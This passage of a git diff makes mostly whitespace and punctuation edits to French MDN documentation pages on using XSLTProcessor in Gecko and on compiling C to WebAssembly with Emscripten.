HTML pour permettre son affichage dans le navigateur). +Nous nous intéressons ici au second type de feuilles de styles supporté par Gecko : la feuille de style XSLT. XSLT signifie _eXtensible Stylesheet Language/Transform_. XSLT permet à un concepteur de feuilles de styles de transformer un document XML de départ de deux façons significatives : manipuler et réordonner le contenu (une réorganisation complète de celui-ci est possible si on le désire), et le transférer dans un autre format (dans le cas de Mozilla, on se concentre sur sa conversion à la volée en HTML pour permettre son affichage dans le navigateur). ### Référence XSLT/XPath diff --git a/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.md b/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.md index 75a50d2048..290e9ff444 100644 --- a/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.md +++ b/files/fr/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.md @@ -11,7 +11,7 @@ Ce document décrit l'interface JavaScript pour le moteur de traitement XSLT (Tr ### Création de XSLTProcessor -Pour commencer, nous avons besoin de créer un objet [XSLTProcessor](fr/XSLTProcessor) : +Pour commencer, nous avons besoin de créer un objet [XSLTProcessor](fr/XSLTProcessor) : var processor = new XSLTProcessor(); @@ -37,7 +37,7 @@ Nous pouvons utiliser les méthodes [`transformToDocument()`](#transformToDocume #### transformToDocument -`transformToDocument()` prend un argument, le nœud source à transformer, et retourne un nouveau `Document` DOM avec les résultats de la transformation : +`transformToDocument()` prend un argument, le nœud source à transformer, et retourne un nouveau `Document` DOM avec les résultats de la transformation : var newDocument = processor.transformToDocument(domToBeTransformed); @@ -47,7 +47,7 @@ L'objet résultant est un `HTMLDocument` si la [méthode de sortie](http://www.w Nous pouvons également utiliser `transformToFragment()` qui retournera un nœud `DocumentFragment` DOM. C'est très efficace car l'adjonction d'un fragment à un autre nœud adjoint de façon transparente tous les descendants de ce fragment, et le fragment lui-même n'est pas fusionné. Les fragment sont donc utiles pour déplacer les nœuds et les stocker sans les éléments inutiles d'un objet document entier. -`transformToFragment` prend deux arguments : le document source à transformer (comme ci-dessus) et un objet `Document` qui possèdera le fragment (tous les fragments doivent être possédés par un document). +`transformToFragment` prend deux arguments : le document source à transformer (comme ci-dessus) et un objet `Document` qui possèdera le fragment (tous les fragments doivent être possédés par un document). var ownerDocument = document.implementation.createDocument("", "test", null); var newFragment = processor.transformToFragment(domToBeTransformed, ownerDocument); diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.md b/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.md index 72c3c1d793..04a2b5512a 100644 --- a/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.md +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/advanced_example/index.md @@ -14,9 +14,9 @@ La fichier XSLT a un paramètre appelé `myOrder` que le JavaScript définit pou Une fois la transformation complétée, le résultat est ajouté au document, comme indiqué dans l'exemple. -**Figure 7 : Tri selon le contenu des divvoir l'exemple** +**Figure 7 : Tri selon le contenu des divvoir l'exemple** -_Fragment XHTML :_ +_Fragment XHTML :_ <div id="example"> <div>1</div> @@ -82,7 +82,7 @@ _JavaScript_ document.getElementById("example").appendChild(fragment) } -_Feuille de style XSL :_ +_Feuille de style XSL :_ <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.md b/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.md index f1519ecde1..a97fc5010b 100644 --- a/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.md +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/basic_example/index.md @@ -10,7 +10,7 @@ original_slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_basique L'exemple que nous allons voir va charger un fichier XML et lui appliquer une transformation XSL. Nous utiliserons les mêmes fichiers que dans l'exemple [Génération de HTML](fr/XSLT_dans_Gecko/G%c3%a9n%c3%a9ration_de_HTML) de l'article [XSLT dans Gecko](fr/XSLT_dans_Gecko). Le fichier XML décrit un article et le fichier XSL formate les informations pour l'affichage. -**Figure 4 : fichier XML** +**Figure 4 : fichier XML** Document XML (example1.xml): @@ -28,7 +28,7 @@ Document XML (example1.xml): </myNS:Body> </myNS:Article> -**Figure 5 : feuille de style XSLT** +**Figure 5 : feuille de style XSLT** feuille de style XSL (example1.xsl): @@ -60,7 +60,7 @@ feuille de style XSL (example1.xsl): <xsl:value-of select="/myNS:Article/myNS:Title"/> </span> <br /> - Auteurs : <br /> + Auteurs : <br /> <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/> </p> @@ -77,7 +77,7 @@ feuille de style XSL (example1.xsl): -- <xsl:value-of select="." /> <xsl:if test="@company"> - :: <strong> <xsl:value-of select="@company" /> </strong> + :: <strong> <xsl:value-of select="@company" /> </strong> </xsl:if> <br /> @@ -98,7 +98,7 @@ feuille de style XSL (example1.xsl): L'exemple charge en mémoire les deux fichiers .xsl (`xslStylesheet`) et .xml (`xmlDoc`) à l'aide de `XMLHTTPRequest` synchrone. Le fichier .xsl est alors importé (`xsltProcessor.importStylesheet(xslStylesheet)`) et la transformation exécutée (`xsltProcessor.transformToFragment(xmlDoc, document)`). Cela permet d'extraire des données après le chargement de la page, sans avoir à la rafraîchir. -**Figure 6 : Exemple voir l'exemple** +**Figure 6 : Exemple voir l'exemple** var xslStylesheet; var xsltProcessor = new XSLTProcessor(); diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.md b/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.md index 6ba6e8e47a..1f17d449f3 100644 --- a/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.md +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/javascript_xslt_bindings/index.md @@ -10,7 +10,7 @@ original_slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Les_liaisons_JavaScript_XSL JavaScript peut exécuter des transformations XSLT à travers l'objet `XSLTProcessor`. Un fois instancié, un `XSLTProcessor` a une méthode `importStylesheet` qui prend comme argument la feuille de style XSLT à utiliser pour la transformation. La feuille de style doit être passée comme un document XML, ce qui signifie que le fichier .xsl doit être chargé par la page avant d'appeler `importStylesheet`. Cela peut être fait par `XMLHttpRequest` ou par `XMLDocument.load`. -**Figure 1 : Instanciation d'un XSLTProcessor** +**Figure 1 : Instanciation d'un XSLTProcessor** var xsltProcessor = new XSLTProcessor(); @@ -25,9 +25,9 @@ JavaScript peut exécuter des transformations XSLT à travers l'objet `XSLTProce // Importation du .xsl xsltProcessor.importStylesheet(xslRef); -Pour la transformation réelle, `XSLTProcessor` requiert un document XML, qui est utilisé en conjonction avec le fichier XSL importé pour produire le résultat final. Le document XML peut être un fichier XML séparé chargé comme sur la figure 1, ou il peut être une partie d'une page existante. Pour traiter une partie du DOM d'une page, il est nécessaire de commencer par créer un document XML en mémoire. Considérons que le DOM à traiter est contenu dans un élément avec l'ID `example`, que le DOM peut être « cloné » (ou dupliqué) à l'aide de ma méthode `importNode` du document XML en mémoire. `importNode` permet le transfert d'un fragment DOM entre différents documents, dans ce cas, depuis un document HTML vers un document XML. Le premier paramètre référence le nœud DOM à dupliquer. En définissant le deuxième paramètre à `true`, il dupliquera à l'identique tous les descendants (une copie profonde). Le DOM cloné peut alors être facilement inséré dans le document XML à l'aide de `appendChild`, comme indiqué sur la figure 2. +Pour la transformation réelle, `XSLTProcessor` requiert un document XML, qui est utilisé en conjonction avec le fichier XSL importé pour produire le résultat final. Le document XML peut être un fichier XML séparé chargé comme sur la figure 1, ou il peut être une partie d'une page existante. Pour traiter une partie du DOM d'une page, il est nécessaire de commencer par créer un document XML en mémoire. Considérons que le DOM à traiter est contenu dans un élément avec l'ID `example`, que le DOM peut être « cloné » (ou dupliqué) à l'aide de ma méthode `importNode` du document XML en mémoire. `importNode` permet le transfert d'un fragment DOM entre différents documents, dans ce cas, depuis un document HTML vers un document XML. Le premier paramètre référence le nœud DOM à dupliquer. En définissant le deuxième paramètre à `true`, il dupliquera à l'identique tous les descendants (une copie profonde). Le DOM cloné peut alors être facilement inséré dans le document XML à l'aide de `appendChild`, comme indiqué sur la figure 2. -**Figure 2 : Création d'un document XML à partir d'un DOM document** +**Figure 2 : Création d'un document XML à partir d'un DOM document** // création d'u nouveau document XML en mémoire var xmlRef = document.implementation.createDocument("", "", null); @@ -43,13 +43,13 @@ Pour la transformation réelle, `XSLTProcessor` requiert un document XML, qui es Une fois la feuille de style importée, `XSLTProcessor` doit exécuter deux méthodes pour la transformations réelle, à savoir `transformToDocument()` et `transformToFragment()`. `transformToDocument()` retourne un document XML entier alors que `transformToFragment()` retourne un fragment de document qui peut être facilement ajouté à un document XML existant. Les deux prennent le document XML comme premier paramètre à transformer. `transformToFragment()` requiert un second paramètre, à savoir l'objet document qui possédera le fragment généré. Si le fragment généré est inséré dans le document HTML courant, passer document est suffisant. -**Figure 2.1 : Création d'un document XML à partir d'une chaîne 'soupe XML'** +**Figure 2.1 : Création d'un document XML à partir d'une chaîne 'soupe XML'** Alors que nous pouvons utiliser la méthode `loadXML` d'Internet Explorer pour charger une chaîne contenant du XML, nous devons faire quelques arrangements pour faire la même chose dans Mozilla. Nous devons utiliser le DomParser.no pour créer un document, car c'est géré par le*DomParser* . var parser = new DOMParser(); var doc = parser.parseFromString(aStr, "text/xml"); -**Figure 3 : Exécution de la transformation** +**Figure 3 : Exécution de la transformation** var fragment = xsltProcessor.transformToFragment(xmlRef, document); diff --git a/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.md b/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.md index d7f841f350..920540f401 100644 --- a/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.md +++ b/files/fr/web/xslt/xslt_js_interface_in_gecko/setting_parameters/index.md @@ -10,15 +10,15 @@ original_slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Définition_de_paramètres Alors que l'exécution de transformations à l'aide des fichiers .xsl et .xml pré codés est utile, la configuration du fichier .xsl par JavaScript peut l'être bien plus. Par exemple, JavaScript et XSLT peuvent être utilisés pour trier des données XML puis les afficher. L'ordre du tri pourra alterner entre le tri ascendant et le tri descendant. -XSLT fournit l'élément `xsl:param`, qui est un descendant de l'élément `xsl:stylesheet`. `XSLTProcessor()` fournit trois méthodes JavaScript pour interagir avec ces paramètres : `setParameter`, `getParameter` et `removeParameter`. Elles prennent toutes comme premier argument l'URI de l'espace de nommage de `xsl:param` (normalement, `param` tombera dans l'espace de nommage par défaut, ainsi le passer à `null` suffira). Le nom local de `xsl:param` est le second argument. `setParameter` requiert un troisième argument, à savoir la valeur à laquelle le paramètre sera défini. +XSLT fournit l'élément `xsl:param`, qui est un descendant de l'élément `xsl:stylesheet`. `XSLTProcessor()` fournit trois méthodes JavaScript pour interagir avec ces paramètres : `setParameter`, `getParameter` et `removeParameter`. Elles prennent toutes comme premier argument l'URI de l'espace de nommage de `xsl:param` (normalement, `param` tombera dans l'espace de nommage par défaut, ainsi le passer à `null` suffira). Le nom local de `xsl:param` est le second argument. `setParameter` requiert un troisième argument, à savoir la valeur à laquelle le paramètre sera défini. -**Figure 7 : Paramètres** +**Figure 7 : Paramètres** -_XSLT :_ +_XSLT :_ <xsl:param name="myOrder" /> -_JavaScript :_ +_JavaScript :_ var sortVal = xsltProcessor.getParameter(null, "monOrdre"); diff --git a/files/fr/webassembly/c_to_wasm/index.md b/files/fr/webassembly/c_to_wasm/index.md index facfb68db0..db1a561276 100644 --- a/files/fr/webassembly/c_to_wasm/index.md +++ b/files/fr/webassembly/c_to_wasm/index.md @@ -12,7 +12,7 @@ translation_of: WebAssembly/C_to_wasm --- {{WebAssemblySidebar}} -Quand vous avez écrit un module de code dans un langage comme le C/C++, vous pouvez ensuite le compiler en WebAssembly en utilisant un outil comme [Emscripten](/fr/docs/Mozilla/Projects/Emscripten). Regardons comment cela fonctionne. +Quand vous avez écrit un module de code dans un langage comme le C/C++, vous pouvez ensuite le compiler en WebAssembly en utilisant un outil comme [Emscripten](/fr/docs/Mozilla/Projects/Emscripten). Regardons comment cela fonctionne. ## Mise en place de l'environnement Emscripten @@ -20,11 +20,11 @@ D'abord, mettons en place l'environnement requis pour le développement. ### Prérequis -Recuperer le SDK de Emscripten en utilisant les instructions suivantes: <https://kripken.github.io/emscripten-site/docs/getting_started/downloads.html> +Recuperer le SDK de Emscripten en utilisant les instructions suivantes: <https://kripken.github.io/emscripten-site/docs/getting_started/downloads.html> ## Compiler un exemple -Une fois l'environnement mis en place, regardons comment l'utiliser pour compiler un exemple en C via Emscripten. Il existe un certain nombre d'options disponibles quand on compile avec Emscripten, mais nous allons couvrir seulement les deux principaux scénarios: +Une fois l'environnement mis en place, regardons comment l'utiliser pour compiler un exemple en C via Emscripten. Il existe un certain nombre d'options disponibles quand on compile avec Emscripten, mais nous allons couvrir seulement les deux principaux scénarios: - Compiler vers du wasm et créer du HTML pour exécuter notre code plus toute la "glue" Javascript nécessaire à l'exécution du wasm dans l'environnement Web. - Compiler vers du wasm et juste créer le Javascript. @@ -33,9 +33,9 @@ Nous verrons les deux par la suite. ### Créer le document HTML et la "glue" JavaScript -C'est le cas le plus simple que nous allons voir, pour lequel vous utiliserez Emscripten pour générer tout ce dont vous avez besoin pour exécuter votre code en WebAssembly dans le navigateur. +C'est le cas le plus simple que nous allons voir, pour lequel vous utiliserez Emscripten pour générer tout ce dont vous avez besoin pour exécuter votre code en WebAssembly dans le navigateur. -1. D'abord nous avons besoin d'un exemple à compiler. Prenez une copie du simple programme C suivant et sauvez-le dans un fichier nommé `hello.c` dans un nouveau répertoire de votre disque dur: +1. D'abord nous avons besoin d'un exemple à compiler. Prenez une copie du simple programme C suivant et sauvez-le dans un fichier nommé `hello.c` dans un nouveau répertoire de votre disque dur: ```cpp #include <stdio.h> @@ -45,7 +45,7 @@ C'est le cas le plus simple que nous allons voir, pour lequel vous utiliserez E } ``` -2. Maintenant, en utilisant la fenêtre terminal qui vous a servi pour entrer dans l'environnement du compilateur Emscripten, naviguez jusqu'au répertoire dans lequel se trouve votre fichier `hello.c` et exécutez la commande suivante : +2. Maintenant, en utilisant la fenêtre terminal qui vous a servi pour entrer dans l'environnement du compilateur Emscripten, naviguez jusqu'au répertoire dans lequel se trouve votre fichier `hello.c` et exécutez la commande suivante : ```bash emcc hello.c -s WASM=1 -o hello.html @@ -53,26 +53,26 @@ C'est le cas le plus simple que nous allons voir, pour lequel vous utiliserez E Les options passées avec la commande sont les suivantes : -- `-s WASM=1` — Spécifie que nous voulons du wasm en sortie. Si nous ne spécifions pas cela, Emscripten générera juste en sortie du [asm.js](http://asmjs.org/) comme il le fait par défaut. -- `-o hello.html` — Spécifie que nous voulons qu'Emscripten génère une page HTML (dont le nom de fichier est spécifié), le module wasm et le code "glue" en JavaScript pour une execution dans un contexte web. +- `-s WASM=1` — Spécifie que nous voulons du wasm en sortie. Si nous ne spécifions pas cela, Emscripten générera juste en sortie du [asm.js](http://asmjs.org/) comme il le fait par défaut. +- `-o hello.html` — Spécifie que nous voulons qu'Emscripten génère une page HTML (dont le nom de fichier est spécifié), le module wasm et le code "glue" en JavaScript pour une execution dans un contexte web. À ce stade votre dossier source devrait contenir : - Un fichier de code binaire wasm (`hello.wasm`) - Un fichier JavaScript contenant du code "glue" à traduire entre les fonctions natives C, et Java/wasm (`hello.js`) -- Un fichier HTML pour charger, compiler et instancier votre code wasm, et l'afficher dans votre navigateur (`hello.html`) +- Un fichier HTML pour charger, compiler et instancier votre code wasm, et l'afficher dans votre navigateur (`hello.html`) ### Exécuter votre exemple -Maintenant, tout ce qui vous reste à faire est de charger le fichier `hello.html` dans un navigateur qui supporte WebAssembly. Il est activé par défaut dans Firefox 52+, Chrome 57+ et dans la derniere version d'Opera (vous pouvez aussi executer du code wasm dans Firefox 47+ en activant le flag `javascript.options.wasm` dans *about:config*, ou dans Chrome (51+) et Opera (38+) en allant dans *chrome://flags* and en activant le flag *Experimental WebAssembly*.) +Maintenant, tout ce qui vous reste à faire est de charger le fichier `hello.html` dans un navigateur qui supporte WebAssembly. Il est activé par défaut dans Firefox 52+, Chrome 57+ et dans la derniere version d'Opera (vous pouvez aussi executer du code wasm dans Firefox 47+ en activant le flag `javascript.options.wasm` dans *about:config*, ou dans Chrome (51+) et Opera (38+) en allant dans *chrome://flags* and en activant le flag *Experimental WebAssembly*.) -Si tout a fonctionné comme prévu, vous devriez voir la sortie "Hello World" dans la console Emscripten apparaissant dans la page web et dans la console Javascript de votre navigateur. Bravo, vous venez de compiler un programme C en WebAssembly puis d'executer ce programme dans votre navigateur! +Si tout a fonctionné comme prévu, vous devriez voir la sortie "Hello World" dans la console Emscripten apparaissant dans la page web et dans la console Javascript de votre navigateur. Bravo, vous venez de compiler un programme C en WebAssembly puis d'executer ce programme dans votre navigateur! ### Utiliser un template HTML personnalisé Vous souhaiterez parfois utiliser un template HTML personnalisé. Voyons comment faire : -1. Tout d'abord, sauvegarder le code C suivant dans un fichier nommé `hello2.c`, au sein d'un nouveau dossier (vide) : +1. Tout d'abord, sauvegarder le code C suivant dans un fichier nommé `hello2.c`, au sein d'un nouveau dossier (vide) : ```cpp #include <stdio.h> @@ -83,7 +83,7 @@ Vous souhaiterez parfois utiliser un template HTML personnalisé. Voyons comment } ``` -2. Cherchez le fichier `shell_minimal.html` dans le dépôt emsdk. Copiez-le dans un sous-dossier nommé `html_template` dans votre précédent nouveau dossier. +2. Cherchez le fichier `shell_minimal.html` dans le dépôt emsdk. Copiez-le dans un sous-dossier nommé `html_template` dans votre précédent nouveau dossier. 3. Naviguez maintenant jusqu'au nouveau dossier (toujours dans votre terminal disposant de l'environnement Emscripten), et exécutez la commande suivante : ```bash @@ -92,18 +92,18 @@ Vous souhaiterez parfois utiliser un template HTML personnalisé. Voyons comment Les options que nous avons donné sont un peu différentes cette fois : - - Nous avons spécifié `-o hello2.html`, ce qui signifie que le compilateur va générer du code JavaScript "glue" ainsi qu'un `.html`. - - Nous avons également spécifié `--shell-file html_template/shell_minimal.html` — cela fournit le chemin vers le template HTML que vous souhaitez utiliser pour créer le HTML qui vous permettra d'exécuter l'exemple. + - Nous avons spécifié `-o hello2.html`, ce qui signifie que le compilateur va générer du code JavaScript "glue" ainsi qu'un `.html`. + - Nous avons également spécifié `--shell-file html_template/shell_minimal.html` — cela fournit le chemin vers le template HTML que vous souhaitez utiliser pour créer le HTML qui vous permettra d'exécuter l'exemple. 4. Maintenant, lançons l'exemple. La commande ci-dessus aura généré hello2.html, qui aura à peu près le même contenu que le template avec un peu de code "glue" pour charger le code wasm généré, l'exéuter, etc. Ouvrez-le dans votre navigateur et vous verrez quasiment la même chose qu'avec notre dernier exemple. -> **Note :** Vous pouvez spécifier, comme sortie, juste le fichier JavaScript "glue" au lieu de la sortie HTML en specifiant un fichier .js au lieu d'un fichier HTML dans le flag`-o` . Par exemple: `emcc -o hello2.js hello2.c -O3 -s WASM=1`. Vous pouevz ensuite votre propre fichier HTML à partir de rien bien que ce soit une approche plus compliquée. Il est généralement plus simple d'utiliser le template HTML fournit. +> **Note :** Vous pouvez spécifier, comme sortie, juste le fichier JavaScript "glue" au lieu de la sortie HTML en specifiant un fichier .js au lieu d'un fichier HTML dans le flag`-o` . Par exemple: `emcc -o hello2.js hello2.c -O3 -s WASM=1`. Vous pouevz ensuite votre propre fichier HTML à partir de rien bien que ce soit une approche plus compliquée. Il est généralement plus simple d'utiliser le template HTML fournit. > > Emscripten necessite une grande variété de code Javascript "glue" pour gérer les allocations memoire, les fuites memoires et bien d'autres problèmes. ### Appeler une fonction personnalisée définie en C -Si vous avez une fonction définie dans votre code C et que vous souhaitez l'appeler de Javascript, vous pouvez le faire en utilisant la fonction Emscripten `ccall()` et la déclaration `EMSCRIPTEN_KEEPALIVE` (qui ajoute vos fonctions dans la liste des fonctions exportées) . Voir [Why do functions in my C/C++ source code vanish when I compile to JavaScript, and/or I get No functions to process?](https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process). Regardons comment cela fonctionne. +Si vous avez une fonction définie dans votre code C et que vous souhaitez l'appeler de Javascript, vous pouvez le faire en utilisant la fonction Emscripten `ccall()` et la déclaration `EMSCRIPTEN_KEEPALIVE` (qui ajoute vos fonctions dans la liste des fonctions exportées) . Voir [Why do functions in my C/C++ source code vanish when I compile to JavaScript, and/or I get No functions to process?](https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process). Regardons comment cela fonctionne. 1. Pour démarrer, sauvegardez le code suivante dans un fichier nommé `hello3.c` dans un nouveau répertoire: @@ -132,11 +132,11 @@ Si vous avez une fonction définie dans votre code C et que vous souhaitez l'app > **Note :** We are including the `#ifdef` blocks so that if you are trying to include this in C++ code, the example will still work. Due to C versus C++ name mangling rules, this would otherwise break, but here we are setting it so that it treats it as an external C function if you are using C++. -2. Now add `html_template/shell_minimal.html` into this new directory too, just for convenience (you'd obviously put this in a central place in your real dev environment). +2. Now add `html_template/shell_minimal.html` into this new directory too, just for convenience (you'd obviously put this in a central place in your real dev environment). 3. Now let's run the compilation step again. From inside your latest directory (and while inside your Emscripten compiler environment terminal window), compile your C code with the following command. (Note that we need to compile with NO_EXIT_RUNTIME, which is necessary as otherwise when main() exits the runtime would be shut down - necessary for proper C emulation, e.g., atexits are called - and it wouldn't be valid to call compiled code.) ```bash - emcc -o hello3.html hello3.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html -s NO_EXIT_RUNTIME=1 -s EXTRA_EXPORTED_RUNTIME_METHODS='["ccall"]' + emcc -o hello3.html hello3.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html -s NO_EXIT_RUNTIME=1 -s EXTRA_EXPORTED_RUNTIME_METHODS='["ccall"]' ``` 4. If you load the example in your browser again, you'll see the same thing as before! @@ -164,5 +164,5 @@ This illustrates how `ccall()` is used to call the exported function. - [emscripten.org](http://emscripten.org/) — pour en apprendre plus sur Emscripten et sa large palette d'options - [Appeler des fonctions C compilées depuis JavaScript grâce à ccall/cwrap](https://kripken.github.io/emscripten-site/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-compiled-c-functions-from-javascript-using-ccall-cwrap) -- [Pourquoi les fonctions dans mon code source C/C++ disparaissent quand je le compile dans JavaScript, et/ou je reçois une erreur "No functions to process" ?](https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process) -- [WebAssembly sur Mozilla Research](https://research.mozilla.org/webassembly/) +- [Pourquoi les fonctions dans mon code source C/C++ disparaissent quand je le compile dans JavaScript, et/ou je reçois une erreur "No functions to process" ?](https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process) +- [WebAssembly sur Mozilla Research](https://research.mozilla.org/webassembly/) diff --git a/files/fr/webassembly/concepts/index.md b/files/fr/webassembly/concepts/index.md index 6f9a5cde1d..377879ed19 100644 --- a/files/fr/webassembly/concepts/index.md +++ b/files/fr/webassembly/concepts/index.md @@ -9,63 +9,63 @@ Cet article explique les concepts de fonctionnement de WebAssembly, y compris se ## Qu'est-ce que WebAssembly ? -WebAssembly est un nouveau type de code pouvant être exécuté dans les navigateurs modernes et fournissant de nouvelles fonctionnalités ainsi que des gains majeurs en performance. Il n'est pas particulièrement destiné à être écrit à la main, mais il est plutôt conçu pour être une cible de compilation efficace pour les langages source de bas niveau tels C, C ++, Rust, etc. +WebAssembly est un nouveau type de code pouvant être exécuté dans les navigateurs modernes et fournissant de nouvelles fonctionnalités ainsi que des gains majeurs en performance. Il n'est pas particulièrement destiné à être écrit à la main, mais il est plutôt conçu pour être une cible de compilation efficace pour les langages source de bas niveau tels C, C ++, Rust, etc. Cela a d'énormes implications pour la plate-forme web — il fournit un moyen d'exécuter un code écrit dans divers langages sur le web à une vitesse proche du natif, avec des applications clientes exécutées sur le web qui auparavant n'auraient pas pu être réalisées. -De plus, vous ne devez même pas savoir comment créer du code WebAssembly pour en profiter. Les modules WebAssembly peuvent être importés dans une application web (ou Node.js) en exposant les fonctions WebAssembly à utiliser via JavaScript. Les frameworks JavaScript pourraient utiliser WebAssembly pour conférer des avantages massifs de performance et de nouvelles fonctionnalités tout en rendant la fonctionnalité facilement accessible aux développeurs web. +De plus, vous ne devez même pas savoir comment créer du code WebAssembly pour en profiter. Les modules WebAssembly peuvent être importés dans une application web (ou Node.js) en exposant les fonctions WebAssembly à utiliser via JavaScript. Les frameworks JavaScript pourraient utiliser WebAssembly pour conférer des avantages massifs de performance et de nouvelles fonctionnalités tout en rendant la fonctionnalité facilement accessible aux développeurs web. ## Objectifs de WebAssembly -WebAssembly est en cours de création en tant que standard ouvert au sein du [W3C WebAssembly Community Group](https://www.w3.org/community/webassembly/) avec les objectif suivants : +WebAssembly est en cours de création en tant que standard ouvert au sein du [W3C WebAssembly Community Group](https://www.w3.org/community/webassembly/) avec les objectif suivants : -- Être rapide, efficace et portable — Le code WebAssembly peut être exécuté à une vitesse proche du natif sur plusieurs plateformes en profitant des [capacités matérielles communes](http://webassembly.org/docs/portability/#assumptions-for-efficient-execution). -- Être lisible et débuggable — WebAssembly est un langage d'assemblage de bas niveau, mais son format de texte est lisible par l'homme (la spécification pour laquelle il est encore en cours de finalisation) et permet au code d'être écrit, lu et débuggé à la main. -- Conserver la sécurité — WebAssembly est conçu pour être exécuté dans un environnement sûr, en sandbox. Comme d'autres codes web, il imposera les règles de même origine du navigateur, ainsi que ses politiques d'autorisations. -- Ne pas casser le web — WebAssembly est conçu de manière à facilement s'associer aux autres technologies web et à maintenir une rétrocompatibilité. +- Être rapide, efficace et portable — Le code WebAssembly peut être exécuté à une vitesse proche du natif sur plusieurs plateformes en profitant des [capacités matérielles communes](http://webassembly.org/docs/portability/#assumptions-for-efficient-execution). +- Être lisible et débuggable — WebAssembly est un langage d'assemblage de bas niveau, mais son format de texte est lisible par l'homme (la spécification pour laquelle il est encore en cours de finalisation) et permet au code d'être écrit, lu et débuggé à la main. +- Conserver la sécurité — WebAssembly est conçu pour être exécuté dans un environnement sûr, en sandbox. Comme d'autres codes web, il imposera les règles de même origine du navigateur, ainsi que ses politiques d'autorisations. +- Ne pas casser le web — WebAssembly est conçu de manière à facilement s'associer aux autres technologies web et à maintenir une rétrocompatibilité. -> **Note :** WebAssembly aura également des usages en dehors du web et des environnements JavaScript (voir [Non-web embeddings](http://webassembly.org/docs/non-web/)). +> **Note :** WebAssembly aura également des usages en dehors du web et des environnements JavaScript (voir [Non-web embeddings](http://webassembly.org/docs/non-web/)). ## Comment WebAssembly s'intègre dans la plateforme web ? La plateforme web peut s'imaginer comme composée de deux parties : - Une machine virtuelle (VM) qui exécute le code de la Web app, e.g le code JavaScript qui fait tourner vos applications. -- Une ensemble de [Web APIs](/fr/docs/Web/API) que la Web app peut appeler pour contrôler les fonctionnalités des navigateurs/appareils et réaliser des actions ([DOM](/fr/docs/Web/API/Document_Object_Model), [CSSOM](/fr/docs/Web/API/CSS_Object_Model), [WebGL](/fr/docs/Web/API/WebGL_API), [IndexedDB](/fr/docs/Web/API/IndexedDB_API), [Web Audio API](/fr/docs/Web/API/Web_Audio_API), etc.). +- Une ensemble de [Web APIs](/fr/docs/Web/API) que la Web app peut appeler pour contrôler les fonctionnalités des navigateurs/appareils et réaliser des actions ([DOM](/fr/docs/Web/API/Document_Object_Model), [CSSOM](/fr/docs/Web/API/CSS_Object_Model), [WebGL](/fr/docs/Web/API/WebGL_API), [IndexedDB](/fr/docs/Web/API/IndexedDB_API), [Web Audio API](/fr/docs/Web/API/Web_Audio_API), etc.). -Historiquement, la VM était seulement capable de charger le JavaScript. Cela fonctionnait bien pour nous comme le JavaScript est assez puissant pour résoudre la majeure partie des problèmes que les gens rencontrent sur Internet. Nous nous sommes, cependant, confrontés à des problèmes de performances lors de l'utilisation de JavaScript pour des cas d'utilisations plus avancés comme les jeux 3D, la réalité virtuelle et augmentée, la vision artificielle, l'édition d'image/vidéo, et un nombre de domaines qui demandent des performances natives ( voir [Cas d'utilisations WebAssembly](http://webassembly.org/docs/use-cases/) pour plus d'informations). +Historiquement, la VM était seulement capable de charger le JavaScript. Cela fonctionnait bien pour nous comme le JavaScript est assez puissant pour résoudre la majeure partie des problèmes que les gens rencontrent sur Internet. Nous nous sommes, cependant, confrontés à des problèmes de performances lors de l'utilisation de JavaScript pour des cas d'utilisations plus avancés comme les jeux 3D, la réalité virtuelle et augmentée, la vision artificielle, l'édition d'image/vidéo, et un nombre de domaines qui demandent des performances natives ( voir [Cas d'utilisations WebAssembly](http://webassembly.org/docs/use-cases/) pour plus d'informations). -De plus, le coût du téléchargement, du parsing et de la compilation de très grosses applications JavaScript peut être prohibitif. L'utilisation de mobiles ou d'autres plateformes à puissance réduite accentue d'autant plus l'effet de goulet d'étranglement des performances. +De plus, le coût du téléchargement, du parsing et de la compilation de très grosses applications JavaScript peut être prohibitif. L'utilisation de mobiles ou d'autres plateformes à puissance réduite accentue d'autant plus l'effet de goulet d'étranglement des performances. -WebAssembly est un langage différent de JavaScript, mais n'a pas pour but de le remplacer. Il faut plutôt l'envisager comme complément, travaillant "main dans la main" avec JavaScript, permettant ainsi aux développeurs 